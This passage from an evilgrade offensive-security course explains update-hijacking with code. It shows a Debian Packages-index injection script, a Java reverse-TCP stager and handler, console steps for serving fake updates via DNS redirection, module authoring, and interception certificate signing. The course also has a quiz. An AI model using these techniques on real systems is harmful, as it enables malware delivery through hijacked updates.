md5=`md5sum $1|cut -d ' ' -f1`
sha1=`sha1sum $1|cut -d ' ' -f1`
sha256=`sha256sum $1|cut -d ' ' -f1`
size=`stat -c %s $1`


cat "$2"|sed -e "s/^Size: .*/Size: $size/"  |sed -e "s/MD5sum: .*/MD5Sum: $md5/" | sed -e "s/SHA1: .*/SHA1: $sha1/"|sed -e "s/SHA256: .*/SHA256: $sha256/"|sed -e 's/Depends: .*/Depends: seed-debian/'
  • The four backtick assignments compute the package's MD5, SHA1, SHA256, and byte size. cut -d ' ' -f1 strips off the filename that *sum tools print, keeping only the hash.
  • cat "$2" | sed ... streams the existing Packages file through a chain of substitutions that replace each integrity field with the attacker's package values and rewrite dependencies to point at seed-debian.
  • Because everything is piped to stdout, the result can be redirected, re-compressed (bzip2), and swapped in for the real Packages.bz2.

Finally the script appends a brand-new package stanza:

# File: include/debian/inject_agent_packages.sh
echo "
Package: seed-debian
Priority: required
Section: system
Maintainer: debian-maint <debian@apackages.debian.org>
Architecture: all
Version: 0.2
Filename: pool/main/s/seed-debian/seed-debian_0.2_all.deb
Size: $size
MD5sum: $md5
SHA1: $sha1
SHA256: $sha256
Description: Debian Seed tool. Required for new installations.

"
  • Priority: required and the "Required for new installations" description socially/technically pressure the system into installing it.
  • Note the mismatch to watch for: the build comment names 0.3, but this stanza hardcodes Version: 0.2 and a 0.2 filename — a real inconsistency in the source worth noting (see Common Mistakes).

4. Common Mistakes

Assuming the script builds the package

The dpkg-deb -b ... line is a comment, not executed code. Learners skimming the file may expect running the script to produce a .deb. It won't — you must build the package separately first, then pass it as $1. Always read whether a line starts with #.

Version/filename drift between build and index

The build comment produces seed-debian_0.3_all.deb, while the appended stanza advertises Version: 0.2 and Filename: .../seed-debian_0.2_all.deb. If the filename in the index doesn't match the file actually placed in the repository's pool/, the package manager will fail to fetch it (404) even though checksums are correct. Always confirm the Filename: path and version match the file you built and deployed.

Forgetting to re-compress and swap the index

The script emits plain text to stdout, but Debian repositories commonly serve Packages.bz2. Skipping the bzip2/mv step (shown in the usage example comment: ... > to_inject ; bzip2 to_inject ; mv to_inject.bz2 Packages.bz2) means clients keep reading the original, untampered index and never see the injected entry.

5. Real-World Use Case

You're running a man-in-the-middle position against a target that installs updates via apt. The target fetches its repository's Packages.bz2 over an insecure channel. You build your agent as seed-debian_0.3_all.deb, then run inject_agent_packages.sh seed-debian_0.3_all.deb Packages > to_inject, re-compress it, and serve the modified index. On the target's next apt-get update && apt-get upgrade, the required seed-debian entry — with valid checksums matching your .deb — is pulled in and installed, executing your agent's install scripts. This demonstrates why update channels must be authenticated (signed repositories), not merely checksummed within the same untrusted index.

6. Next Steps

Next, study how evilgrade's module system (in Perl) maps a specific vulnerable application to the right packaged agent and payload — connecting the package you just injected to the module that selects and serves it. From there, explore repository/package signing (GPG-signed Release files) to understand the defense that defeats this entire injection technique.

Lesson 4

Java Payload Builders, Stagers, and Handlers

Java Payload Builders, Stagers, and Handlers

Ethical use notice: Evilgrade is an offensive-security framework intended for authorized penetration testing and defensive research. The techniques below are presented so you can understand, detect, and defend against update-hijacking attacks. Only use them against systems you own or have explicit written permission to test.

1. Overview

This lesson explains how Evilgrade's Java payload subsystem turns a selected network behavior into a runnable applet JAR that an attacker can deliver through a hijacked software update. You'll see how three cooperating roles — the builder (assembles the JAR), the stager (the small bootstrap that runs on the victim and opens a channel), and the handler (the attacker-side counterpart that manages that channel) — fit together. Understanding this separation of concerns is essential both for building payloads during authorized tests and for recognizing the attack pattern when you defend real update mechanisms.

2. Key Concepts

Builder

  • Name: The builder packages a set of Java classes into a deployable JAR, picking which stager(s) to include at build time.
  • Example: Like a shipping department that boxes up only the parts an order needs before sending it out.
  • In the code: AppletJarBuilder.main reads stager names from args, resolves each to a class, and hands the full class list to JarBuilder.buildJar(...).

Stager

  • Name: A tiny piece of code that runs first on the target, establishes a communication channel, then loads/launches the real payload stage over it.
  • Example: A bootloader that is small enough to fit in a constrained spot but knows how to pull in the full operating system.
  • In the code: ReverseTCP.bootstrap opens a Socket back to the attacker and passes its streams into the shared bootstrap(in, out, parameters) method.

Handler

  • Name: The attacker-side (controller) code that corresponds to a stager — it sets up or accepts the connection and drives the staging protocol.
  • Example: The call-center operator waiting for an inbound call that the customer's phone was told to place.
  • In the code: BindTCP (a StagerHandler) implements handle(...), creating a Socket and delegating to a StageHandler.

Reverse vs. Bind connections

  • Name: Reverse means the victim connects outward to the attacker; bind means a listener is opened and the other side connects in. This choice shapes how NAT and firewalls are navigated.
  • Example: Reverse is you calling home; bind is leaving your door unlocked for someone to walk in.
  • In the code: ReverseTCP is the stager that dials out; BindTCP here is the handler-side counterpart that connects to a socket. Each role has matching variants.

Parameter-driven configuration

  • Name: Connection details (host, port) are passed as a parameters string array rather than hard-coded, so one class works for many targets.
  • Example: A form letter with blanks you fill in per recipient.
  • In the code: Both ReverseTCP and BindTCP read parameters[1] (host) and parameters[2] (port).

3. Code Walkthrough

The builder assembles the JAR

File: include/sunjava/JavaPayload/src/javapayload/builder/AppletJarBuilder.java

public static void main(String[] args) throws Exception {
    if (args.length == 0) {
        System.out.println("Usage: java javapayload.builder.AppletJarBuilder <stager> [<moreStagers...>]");
        return;
    }
    StringBuffer jarName = new StringBuffer("Applet");
    final Class[] classes = new Class[args.length+2];
    classes[0] = javapayload.loader.AppletLoader.class;
    classes[1] = javapayload.stager.Stager.class;
    for (int i = 0; i < args.length; i++) {
        jarName.append('_').append(args[i]);
        classes[i+2] = Class.forName("javapayload.stager." + args[i]);
    }
    JarBuilder.buildJar(jarName.append(".jar").toString(), classes, new Manifest(), null);
}
  • The usage guard exits early if no stager is named — the builder refuses to produce an empty payload.
  • The classes array is sized args.length + 2 to always include two fixed classes: AppletLoader (entry point that runs when the applet loads) and the abstract Stager base class.
  • The loop appends each stager name to the output filename (so the JAR is self-describing, e.g. Applet_ReverseTCP.jar) and resolves "javapayload.stager." + args[i] via Class.forName. This is why you pass a simple stager name like ReverseTCP — the package prefix is added for you.
  • JarBuilder.buildJar(...) (not shown) does the actual packaging into a JAR with a fresh Manifest. Only the classes you selected get bundled, keeping the payload minimal.

The stager opens the channel on the target

File: include/sunjava/JavaPayload/src/javapayload/stager/ReverseTCP.java

public class ReverseTCP extends Stager {

    public void bootstrap(String[] parameters) throws Exception {
        final Socket s = new Socket(parameters[1], Integer.parseInt(parameters[2]));
        bootstrap(s.getInputStream(), s.getOutputStream(), parameters);
    }
}
  • ReverseTCP is deliberately tiny. It only knows how to get a connection — it creates an outbound Socket to parameters[1]:parameters[2].
  • It then hands the socket's input/output streams to an inherited two-argument-plus-parameters bootstrap defined in the Stager base class, which handles reading and running the next stage. This is the key to the staging design: transport logic (TCP) is isolated from stage-loading logic (shared in the base class).
  • Being outbound-only is what makes it "reverse" — ideal when the victim is behind NAT and can't accept inbound connections.

The handler manages the channel on the attacker side

File: include/sunjava/JavaPayload/src/javapayload/handler/stager/BindTCP.java

public class BindTCP extends StagerHandler {

    protected void handle(StageHandler stageHandler, String[] parameters, PrintStream errorStream, Object extraArg) throws Exception {
        final Socket s = new Socket(parameters[1], Integer.parseInt(parameters[2]));
        stageHandler.handle(s.getOutputStream(), s.getInputStream(), parameters);
    }

    protected boolean needHandleBeforeStart() { return false; }
}
  • The handler mirrors the stager: it extends StagerHandler and implements handle(...). It too builds a Socket from parameters[1]/parameters[2].
  • Notice the stream order is swapped relative to the stager: the handler passes getOutputStream() first and getInputStream() second to stageHandler.handle(...). The two ends of a channel are opposites — one side's output is the other side's input.
  • needHandleBeforeStart() returns false, telling the framework this handler does not need to run its setup before the staging process begins (compare to a listening handler that must bind a port before the victim connects).

4. Common Mistakes

Passing a fully-qualified stager name to the builder

  • Mistake: Running the builder with javapayload.stager.ReverseTCP instead of just ReverseTCP.
  • Why it happens: It's natural to assume you supply the full class name.
  • Avoid it: The builder prepends "javapayload.stager." itself via Class.forName. Pass only the simple name, or you'll get a ClassNotFoundException.

Mismatching the stager and handler (reverse vs. bind)

  • Mistake: Building a ReverseTCP stager but configuring a handler that also dials outward, so nothing ever connects.
  • Why it happens: The naming is subtle and the stream-direction swap hides the symmetry.
  • Avoid it: Pick a complementary pair — if the victim-side stager connects out, the attacker side must listen/accept, and vice versa. Verify which side opens the socket versus which side waits.

Confusing input/output stream direction

  • Mistake: Copying the bootstrap/handle call and keeping the same stream order on both ends.
  • Why it happens: The two call sites look almost identical.
  • Avoid it: Remember the channel is directional: ReverseTCP passes (in, out, ...) while BindTCP passes (out, in, ...). Preserve that inversion.

5. Real-World Use Case

During an authorized red-team engagement, you're testing whether a client's Java-based desktop app validates its update server. You use AppletJarBuilder ReverseTCP to produce Applet_ReverseTCP.jar, a minimal payload that, when the hijacked update is served through Evilgrade, dials back to your listener so you can demonstrate code execution on the update channel. The tiny reverse stager slips through outbound-only firewalls, and your matching handler manages the staged session — giving the client concrete proof that their update mechanism needs signature verification and TLS pinning.

6. Next Steps

Next, study the abstract Stager base class and the StageHandler to see what actually travels over the channel after bootstrap/handle — then learn how an Evilgrade module references the generated JAR to deliver it as a fake update.

📝 Module Quiz

Answer all questions to check your understanding. 70% to pass.

Q1. Why does Evilgrade ship its default Windows agent (agent.exe) as a copy of Notepad rather than actual malware?

Q2. A learner wants to replace the default agent with a custom payload so a Linux victim gets a working update. What is the most important consideration?

Q3. In the Apple catalog include template, why must the <%AGENTSIZE%> placeholder be left intact rather than replaced with a hardcoded number?

Q4. In the Debian inject_agent_packages.sh script, why does the agent's new stanza declare 'Priority: required' with a description claiming it is needed for new installations?

Q5. When building a Java payload with AppletJarBuilder ReverseTCP, why does the matching handler (BindTCP) pass streams in a swapped order—getOutputStream() first, then getInputStream()—compared to the stager?

Module 6

Hands-On: Building and Running an Attack

Apply everything to configure, launch, and extend a complete fake-update attack.

Lesson 1

Configuring and Launching a Module End-to-End

Configuring and Launching a Module End-to-End

Overview

This lesson walks you through the full lifecycle of working with isr-evilgrade: starting the interactive console, selecting a module, configuring its options, and launching the web and DNS servers that make the attack work. Understanding this flow matters because evilgrade is driven almost entirely through a stateful command shell — the same set, configure, and start commands you'll learn here are the backbone of every module you'll ever run. By the end, you'll know how the console tracks "where you are," how module options get mutated, and why both servers must come up together.

Key Concepts

1. The Stateful Console Shell

  • Name: isrcore::shellz subclasses a generic Shell and dispatches typed commands (show, set, configure, start) to run_* methods. It holds references to the web server, DNS server, and the module manager (isrmain).
  • Example: Like a database CLI (psql) where \c mydb changes your active connection — subsequent commands operate in that context.
  • In the code: init wires up the three core objects, and prompt_str reflects the current context by appending the active module path to the prompt.
sub prompt_str {
    my $self =shift;
    my $prompt = $self->{'prompt'};
    if ($self->{'path'}){
    $prompt .= "($self->{'path'})";
    }
    $prompt .= ">";
"$prompt"
}

2. The Active Module Path

  • Name: $self->{'path'} stores which module you've "entered." When empty, commands apply to global/base options; when set, they apply to that module.
  • Example: Like cd-ing into a directory — your commands now target files there instead of the root.
  • In the code: run_configure sets or clears path, and both run_set and run_show options branch on whether path is set.

3. Module Options and Metadata

  • Name: Each module declares a $base hashref with metadata (name, vh, version) and an options table of configurable key/value pairs.
  • Example: Like a form with labeled fields and default values — agent defaults to ./agent/agent.exe but you can override it.
  • In the code: modules/ccleaner.pm defines the agent, enable, and (hidden) rnd1 options. The vh field (www.ccleaner.com) is the hostname DNS must answer for.
    'options' => {
        'agent' =>
            { 'val' => './agent/agent.exe', 'desc' => 'Agent to inject' },
        'enable' => {
            'val'  => 1,
            'desc' => 'Status'
        },
        ...
    }

4. Dual-Server Launch (Web + DNS)

  • Name: Launching an attack requires the web server (serves malicious payloads) and, optionally, the DNS server (resolves the target hostname to your machine). run_start brings both up.
  • Example: A phishing setup where DNS redirects www.ccleaner.com to you, and your web server answers as if it were ccleaner.com.
  • In the code: run_start calls start_server once per server type, skipping DNS if disabled.

5. Forked Server Processes

  • Name: Each server runs in a forked child so the console stays responsive. The parent records the child PID for later status/stop commands.
  • Example: Like running a background job with & so your shell prompt returns immediately.
  • In the code: start_server calls fork(); the child runs ->start and exits, the parent stores child.

Code Walkthrough

Selecting and configuring a module

File: isrcore/shellz.pm

sub run_configure { 
    my $self = shift;    
    my ($cmd) = @_;

    if ($cmd){
        if (!exists($self->{'isrmain'}->{'modules'}->{$cmd})){
            $self->{'isrmain'}->println("(*) Module name ($cmd) did not exists\n");
        return
    }
    $self->{'path'}=$cmd
    }else {
    $self->{'path'}="";
    }    
}
  • configure ccleaner passes ccleaner as $cmd.
  • It first validates the module exists in the loaded modules hash — a guard against typos.
  • On success it sets path, which changes the prompt and the target of future set commands.
  • Calling configure with no argument resets path to empty, returning you to the top level.

Once inside a module, set mutates its option values:

sub run_set { 
    my $self = shift;
    my ($cmd,$value) = @_;
    $self->{'isrmain'}->println("set $cmd, $value\n");
    my $object;

    if ($self->{'path'}){
        $object = \$self->{'isrmain'}->{'modules'}->{$self->{'path'}}->{'Base'}->{'options'};
    }else{
        $object = \$self->{'isrmain'}->{'Base'}->{'options'};
    }

    if (!$cmd){
        $self->{'isrmain'}->println("(*) Please specify option name\n");
        return  
    }else{
        if (!exists($$object->{$cmd})){
            $self->{'isrmain'}->println("(*) Option name ($cmd) did not exists\n");
            return
    }else {
        $self->{'change'}=1;
        $$object->{$cmd}->{'val'} =$value; #TODO: check exists val
    }
    }
}
  • The if ($self->{'path'}) branch chooses which options table to edit — the active module's or the global base.
  • Note the reference (\) and the double-deref ($$object->{$cmd}): $object is a reference to the options hashref, so updates propagate to the real structure.
  • It validates the option name exists before writing, then flips change to 1 — a dirty flag signaling that servers may need a restart to pick up changes.

Launching both servers

File: isrcore/shellz.pm

sub run_start {
    my $self = shift;
    my ($cmd) = @_;

    start_server( $self, "webserver",$cmd);
    start_server( $self, "dnsserver",$cmd) unless ( $self->{'isrmain'}->{'Base'}->{'options'}->{'DNSEnable'}->{'val'} == 0 );
}
  • The web server always starts. The DNS server starts only if the global DNSEnable option is non-zero.
  • This is why verifying "DNS and web serving work together" depends on DNSEnable — if it's 0, no DNS process is launched at all.
sub start_server {
    my $self = shift;
    my $server_type = shift;
    my ($cmd) = @_;

    if ($self->{$server_type}->status()  ){
        $self->{'isrmain'}->println("...already running\n");
        return;
    }
    my $response = $self->{$server_type}->loadconfig($self->{'isrmain'});
    if ($response != 1){ #error loadconfig
        $self->{'isrmain'}->println($response);
        return;
    }
    ...
    die "Can't fork: $!" unless defined ($child = fork());
    if ($child==0) {
        my $line;
        $self->{$server_type}->start($self);
        ...
        exit 0;
   }
  $self->{$server_type}->{'Base'}->{'child'} = $child;
}
  • Idempotency guard: if the server already reports status(), it refuses to start a second copy.
  • loadconfig reads the current option values (including your set changes) into the server before launch — this is where your configuration actually takes effect.
  • fork: the child runs start (the blocking server loop) and exits; the parent stores the child PID in child so run_status and run_stop can manage it later.

Common Mistakes

1. Setting options before entering the module

Learners run set agent /path/x.exe from the top-level prompt and wonder why the module ignores it. Because path is empty, run_set writes to the global base options instead of the module's. Fix: always configure <module> first, confirm the prompt shows evilgrade(ccleaner)>, then set.

2. Forgetting to restart after changing options

run_set only sets a change flag; it does not re-read config into a running server. loadconfig runs at start time. If you set something after start, the live server still uses the old value. Fix: use restart (which calls stop then start) after configuration changes.

3. Expecting DNS redirection without enabling it

If DNSEnable is 0, run_start silently skips the DNS server, so the target hostname (www.ccleaner.com) never resolves to your machine. The web server runs, but nobody is directed to it. Fix: verify DNSEnable is non-zero via show options at the top level, or arrange external DNS/hosts redirection yourself.

Real-World Use Case

You're testing whether a lab machine running an outdated CCleaner can be tricked into downloading a malicious "update." You launch the console (./evilgrade), run show modules to confirm ccleaner loaded, then configure ccleaner. Inside the module you run show options, point agent at your prepared payload with set agent ./agent/mypayload.exe, and return to the top with configure. You confirm DNSEnable is on, then start. The DNS server now answers www.ccleaner.com with your IP, and when the lab machine checks for updates, your web server serves the redirect/payload defined in the module's request rules. You watch show status to see the victim IP, module, and delivery state appear in the users table.

Next Steps

Now that you can configure and launch a module, study the module request table (the regex-matched req rules and type handlers) to understand how the web server decides what to serve — that's the logic that turns a configured module into an actual delivered payload.

Lesson 2

Authoring a New Custom Module

Authoring a New Custom Module

Overview

In evilgrade, every exploitable application is described by a module: a self-contained Perl package that tells the framework which update requests to intercept, what to serve back, and which agent (payload) to inject. This lesson walks you through authoring a new module from the standard template, wiring up its include templates and agent, and regenerating the module's request list using the provided tooling. Understanding this workflow is the foundation for extending evilgrade to target any application with an insecure update mechanism.

Key Concepts

The Module as a Perl Package

Each module is a package that exposes a single configuration hash describing how the framework should behave. The framework loads these packages by name and instantiates them.

  • Example: Think of a module like a browser extension manifest — a declarative file that tells the host application what to hook into and how to respond.
  • In the code: modules/autoit3.pm declares package modules::autoit3; and exposes everything through the $base hash returned via the new constructor.

The request Array: Matching and Responding

The request array defines the rules that match incoming update traffic. Each entry specifies what URL/pattern to match (req), how to respond (type), and which file or agent to serve.

  • Example: Like a web server's routing table — "if a request matches /update.dat, return this file; if it matches .exe, inject the agent."
  • In the code: In autoit3.pm, two request entries are defined — one of type => 'file' and one of type => 'agent'.

Include Templates

Modules serve static response payloads (like fake update manifests) from the ./include/<module>/ directory. The file field in a request points at these templates.

  • Example: Like static HTML templates a web app serves — they live on disk and get returned verbatim (or with light parsing).
  • In the code: The first request in autoit3.pm references 'file' => './include/autoit3/autoitscript.dat'.

The Agent

The agent is the executable payload delivered when the target downloads its "update." The module declares a default agent path as an option, and a request of type => 'agent' triggers injection.

  • Example: Like the actual file a user downloads when they click "Install Update" — except it's yours.
  • In the code: The options hash defines 'agent' => { 'val' => './agent/agent.exe', ... }.

List Generation Tooling

When a module needs to intercept many request paths (e.g., all of an OS's repository index files), hand-writing request entries is tedious. makelist.pl turns a flat list of URLs into ready-to-paste request blocks.

  • Example: Like a code generator that converts a CSV of routes into boilerplate route handlers.
  • In the code: extra/makelist.pl reads extra/list.txt and prints formatted request hash entries.

Code Walkthrough

1. The Module Skeleton (modules/autoit3.pm)

Start by copying this structure. The package name must match the file name.

package modules::autoit3;

use strict;
use Data::Dump qw(dump);

my $base = {
    'name'        => 'AutoIt Script 3',
    'version'     => '1.0',
    'appver'      => '< 3.3.6.1',
    'author'      => ['Leandro Costantino < lcostantino +[AT]+ gmail.com>'],
    'description' => qq{AutoIt Scripting Language},
    'vh'          => 'www.autoitscript.com',
  • package modules::autoit3; — registers the module under the modules:: namespace. If your file is modules/myapp.pm, this must read package modules::myapp;.
  • The metadata fields (name, version, appver, vh) are descriptive. vh is the virtual host the module expects to see in intercepted requests — critical for matching the right application's update traffic.

2. Registering Requests and the Agent

    'request'     => [
        {   'req'    => '/update.dat',    #regex friendly
            'type'   => 'file',           #file|string|agent|install
            'method' => '',               #any
            'bin'    => '0',
            'string' => "",
            'parse'  => '1',
            'file' => './include/autoit3/autoitscript.dat',
        },
        {   'req'    => '.exe',           #regex friendly
            'type'   => 'agent',          #file|string|agent|install
            'method' => '',               #any
            'bin'    => 1,
            'string' => '',
            'parse'  => '0',
            'file'   => ''
        },
    ],
  • The first entry matches requests for the update manifest (/update.dat), returns a file (type => 'file'), and parse => 1 lets the framework interpolate dynamic values into the template before serving it. bin => 0 marks it as text.
  • The second entry matches any .exe download and serves the agent (type => 'agent'). bin => 1 marks binary output; parse => 0 means serve as-is.
  • req is regex-friendly, so .exe matches any executable path. Order matters — the framework evaluates entries top to bottom.

The agent default lives in options:

    'options' => {
        'agent' =>
            { 'val' => './agent/agent.exe', 'desc' => 'Agent to inject' },
        'enable' => {
            'val'  => 1,
            'desc' => 'Status'
        },
  • agent.val is the default payload path, overridable at runtime from the console. enable toggles the module on.

Note the dynamic => 1 options (like url, filetime, filesize). These contain Perl expressions (as strings) that are evaluated at request time — for example calling isrcore::utils::RndNum(...) to randomize values so served responses look fresh. Only describe these in your own module if you need per-request randomization.

3. Generating Many Request Entries (extra/makelist.pl)

When your target hits dozens of fixed URLs, generate the request blocks instead of typing them.

open(FZ,"list.txt");

foreach (<FZ>){
    chomp($_);

my $str2=$_;
$str2=~s/ar.archive.ubuntu.com\/ubuntu//;
my $str;
$str.="{\n";
$str.="'req' => '$str2',\n";
$str.="'type' => 'file',\n";
$str.="'method' => '', \n";
$str.="'bin'    => 0,\n";
$str.="'string' => '',\n";
$str.="'parse' => 1,\n";
$str.="'file' => './include/ubuntu/$_',\n";
$str.="},\n";

    print $str;
}
close(FZ);
  • open(FZ,"list.txt") reads the URL list line by line.
  • chomp($_) strips the trailing newline from each line.
  • The substitution s/ar.archive.ubuntu.com\/ubuntu// strips the host prefix so req becomes a path-relative match (e.g., /dists/intrepid/Release.gpg), while the full original line ($_) is used to build the file path under ./include/ubuntu/.
  • Each iteration prints a complete request hash block ready to paste into a module's request array.

extra/list.txt is simply the raw input — one URL per line — which the script consumes:

ar.archive.ubuntu.com/ubuntu/dists/intrepid/Release.gpg
ar.archive.ubuntu.com/ubuntu/dists/intrepid/main/i18n/Translation-en_US.bz2
...

Run it and capture the output:

cd extra
perl makelist.pl > generated_requests.txt

Then paste the generated blocks into your module's request array and create the corresponding include files under ./include/<module>/.

Common Mistakes

Package name doesn't match the file name

Learners copy autoit3.pm to myapp.pm but forget to change package modules::autoit3;. Perl's package loading relies on the name matching, so the module silently fails to load or loads under the wrong name. Avoid it by updating the package line as the very first edit after copying.

Forgetting to create the include templates

The file field points at a path like ./include/autoit3/autoitscript.dat, but the directory and file must actually exist on disk. A missing template means the matched request returns nothing or errors. This happens because the module config is declarative and gives no error until runtime. Avoid it by creating ./include/<module>/ and all referenced files before loading the module.

Mismatched bin/parse flags for the payload type

Setting parse => 1 on a binary agent can corrupt it, and leaving bin => 0 on a real executable mishandles its bytes. This stems from copying a file entry and forgetting to flip the flags. Avoid it by matching the autoit3 pattern: text templates use bin => 0, parse => 1; agents use bin => 1, parse => 0.

Real-World Use Case

Suppose you discover that a desktop application checks https://updates.vendor.com/latest.json over plain HTTP and then downloads an installer. You'd copy autoit3.pm to modules/vendorapp.pm, rename the package, set vh => 'updates.vendor.com', add a type => 'file' request matching /latest.json that serves a crafted ./include/vendorapp/latest.json, and a type => 'agent' request matching the installer's .exe path. If the app also pulls many index files, you'd list them in extra/list.txt, run makelist.pl, and paste the generated entries — saving you from writing dozens of blocks by hand.

Next Steps

Once your module loads and matches requests, the natural next step is learning how DNS/host redirection and the proxy configuration steer the target's update traffic into evilgrade so your module's vh and req rules actually fire.

Lesson 3

Troubleshooting and Certificate Workflows

Troubleshooting and Certificate Workflows

Overview

When you run a dual-protocol web server that speaks both plain HTTP and HTTPS, two classes of failures dominate your debugging time: sockets that won't bind, and TLS handshakes that silently die. This lesson walks through isrcore/webserver.pm to show how evilgrade sets up listening sockets, promotes connections to SSL on fork, and emits diagnostic output you can read to pinpoint failures. You'll also learn how the certificate generation script (extra/gen-self-cert-signed-with-ca.sh) and the CA file (certs/my-ca.pem) fit into an HTTPS interception workflow. Getting comfortable reading this code means you can diagnose "why won't it serve?" and "why does the client reject my cert?" quickly.

Key Concepts

1. Dual-socket listening (HTTP + HTTPS on separate ports)

  • Name: The server opens two TCP listeners—one for port 80, one for 443—and multiplexes them with a single select loop.
  • Example: Like a receptionist watching two phone lines at once; whichever rings, they pick up and route the caller appropriately.
  • In the code: start creates $listen_socket and $ssl_socket, adds both to an IO::Select set, and dispatches based on which socket became readable.

2. SSL promotion on fork

  • Name: Rather than creating an SSL socket up front, the server accepts a plain TCP connection first, forks a child, then "promotes" that connection to TLS inside the child.
  • Example: Like admitting a visitor through the front door, then—only after they're inside a private room—starting the encrypted conversation.
  • In the code: accept_client calls IO::Socket::SSL->start_SSL with SSL_startHandshake => 0, then explicitly runs accept_SSL() in the forked child.

3. Certificate and key pairing

  • Name: An SSL server needs a certificate (public) and its matching private key. If they don't match, the handshake fails.
  • Example: A lock (cert) and its unique key must come as a set; a mismatched key won't open the lock.
  • In the code: SSL_cert_file and SSL_key_file point at certs/www.autoitscript.com-cert.pem and -key.pem, with a passphrase callback returning "test".

4. CA-signed vs. self-signed certificates

  • Name: A self-signed cert vouches for itself; a CA-signed cert is signed by a Certificate Authority the client trusts. Interception workflows often install a custom CA.
  • Example: A self-signed cert is like a handwritten "I promise I'm me" note; a CA-signed cert is a government-issued ID.
  • In the code: certs/my-ca.pem is the CA certificate (CN evilgrade), and gen-self-cert-signed-with-ca.sh signs new requests against that CA using openssl ca.

5. Reading console output for debugging

  • Name: The server narrates its lifecycle—socket creation, incoming connections, parsed requests—so you can trace where a request stalled.
  • Example: Like breadcrumbs: each printshell line tells you the last point the code reached before failing.
  • In the code: Messages like "Webserver ready. Waiting for connections ..." and "Packet request: ..." mark distinct stages.

Code Walkthrough

Setting up and diagnosing the listening sockets

# isrcore/webserver.pm
my $listen_socket = IO::Socket::INET->new(
    LocalPort => $self->{'Base'}->{'port'},
    Listen    => 10,
    Proto     => 'tcp',
    Reuse     => 1
);

my $ssl_socket = IO::Socket::INET->new(
    LocalPort => $self->{'Base'}->{'sslport'},
    Listen    => 10,
    Proto     => 'tcp',
    Reuse     => 1
);

# verify socket status
if ( !$listen_socket ) {
    $self->{'Base'}->{'error'}
        = "[$self->{'Base'}->{'whoami'}] - Cant't create a listening socket: $@";
    return;
}
if ( !$ssl_socket ) {
    $self->{'Base'}->{'error'}
        = "[$self->{'Base'}->{'whoami'}] - Cant't create a listening SSL socket: "
        . &IO::Socket::SSL::errstr . "\n";
    return;
}
  • Both sockets are plain IO::Socket::INET (TCP)—note the HTTPS listener is not an SSL socket yet. TLS is applied later, per-connection.
  • Reuse => 1 sets SO_REUSEADDR, letting you restart the server without waiting out TIME_WAIT. Without it, a quick restart gives "Address already in use."
  • The two error branches are your first diagnostic signal: a failure here means the port couldn't bind (ports 80/443 are privileged—you need root), and $@ carries the OS error.

The select loop and dispatch

# isrcore/webserver.pm
my $rset = new IO::Select();
$rset->add($listen_socket);
$rset->add($ssl_socket);

while ( my ($any_reader) = IO::Select->select( $rset, undef, undef ) ) {
    my $nsock;
    foreach $nsock (@$any_reader) {
        if ( $nsock == $listen_socket ) {
            # ... prints "WebServer Client on <port>"
            my $connection = $listen_socket->accept;
            $self->accept_client( $shellz, $connection, $listen_socket, 0 );
        }
        elsif ( $nsock == $ssl_socket ) {
            # ... prints "(SSL) WebServer Client on <sslport>"
            my $connection = $ssl_socket->accept;
            $self->accept_client( $shellz, $connection, $ssl_socket, 1 );
        }
    }
}
  • IO::Select->select blocks until one or more sockets have a pending connection. The returned $any_reader holds whichever listeners are ready.
  • The if/elsif compares the ready socket against each listener object to decide whether to treat the client as plain or SSL—the fourth argument (0 or 1) is the $promote_ssl flag.
  • The two distinct printshell lines ("WebServer Client" vs "(SSL) WebServer Client") let you confirm, from console output alone, which port a client hit.

Promoting to SSL inside the fork

# isrcore/webserver.pm
if ( ref($connection) eq "IO::Socket::SSL" or $promote_ssl ) {

    $connection = IO::Socket::SSL->start_SSL(
        $connection,
        SSL_startHandshake => 0,
        SSL_server         => 1,
        SSL_verify_mode    => 0x00,
        SSL_cert_file      => 'certs/www.autoitscript.com-cert.pem',
        SSL_key_file       => 'certs/www.autoitscript.com-key.pem',
        SSL_passwd_cb      => sub { return "test" },
    );

    if ( !$connection->accept_SSL() ) {
        exit 0;
    }
}
  • start_SSL wraps the already-accepted TCP connection. SSL_startHandshake => 0 means it prepares but does not immediately negotiate—the explicit accept_SSL() call drives the handshake, which is the recommended pattern after a fork.
  • SSL_verify_mode => 0x00 disables client-cert verification (the server doesn't demand a cert from the browser).
  • SSL_cert_file / SSL_key_file are the server identity; SSL_passwd_cb supplies the private key's passphrase ("test").
  • If accept_SSL() returns false, the child simply exit 0s—a silent death. This is a key debugging trap: a failed handshake produces no error line, just a vanished child.

Signing a new server cert against the CA

# extra/gen-self-cert-signed-with-ca.sh
name=$1

openssl req -new -nodes -out req.pem -config /etc/openssl.cnf
openssl req -in req.pem -text -verify -noout
openssl ca -out cert.pem -config /etc/openssl.cnf -infiles req.pem
mv privkey.pem "$1-key.pem"
mv req.pem "$1-req.pem"
mv cert.pem "$1.pem"
  • openssl req -new -nodes generates a certificate signing request (CSR) and an unencrypted private key (-nodes = "no DES", i.e., no passphrase).
  • The second req call just verifies and prints the CSR so you can eyeball the subject fields.
  • openssl ca is where the CA (whose cert lives in certs/my-ca.pem) actually signs the request, producing a cert chained to that CA.
  • The mv lines rename outputs into the project's <name>-key.pem / <name>.pem convention—matching the filenames the webserver expects in SSL_cert_file/SSL_key_file.

Common Mistakes

1. Running without privileges for ports 80/443

  • Mistake: Launching the server as a normal user and seeing it exit immediately.
  • Why it happens: Binding to ports below 1024 requires root; IO::Socket::INET->new returns undef and the code hits the "Cant't create a listening socket" branch.
  • How to avoid: Run as root (or sudo), or configure higher ports via loadconfig. Always read the $@ / IO::Socket::SSL::errstr text in the error message—it names the exact failure.

2. Mismatched cert/key or wrong passphrase

  • Mistake: Expecting HTTPS to work after swapping in a new cert but not its matching key, or forgetting the key's passphrase differs from "test".
  • Why it happens: SSL_passwd_cb hardcodes "test", and SSL_cert_file/SSL_key_file point at fixed paths. A newly generated -nodes key has no passphrase, so the callback is harmless—but if your key is encrypted with a different passphrase, accept_SSL() fails silently and the child exits with no log line.
  • How to avoid: Generate cert and key as a matched set (as the script does), confirm the filenames match what the code loads, and if debugging TLS, temporarily log before the exit 0 in the failed-handshake branch.

3. Misreading silent SSL child exits as "no connection"

  • Mistake: Seeing "(SSL) WebServer Client on 443" but no further output, and assuming the request never arrived.
  • Why it happens: The parent logs the accepted connection before the child attempts the handshake. If accept_SSL() fails, the child exit 0s without printing—so the response stage never runs.
  • How to avoid: Treat "client logged but no 'Packet request' line" as a handshake failure, not a networking one. Test the TLS layer directly with openssl s_client -connect host:443 to see the real handshake error.

Real-World Use Case

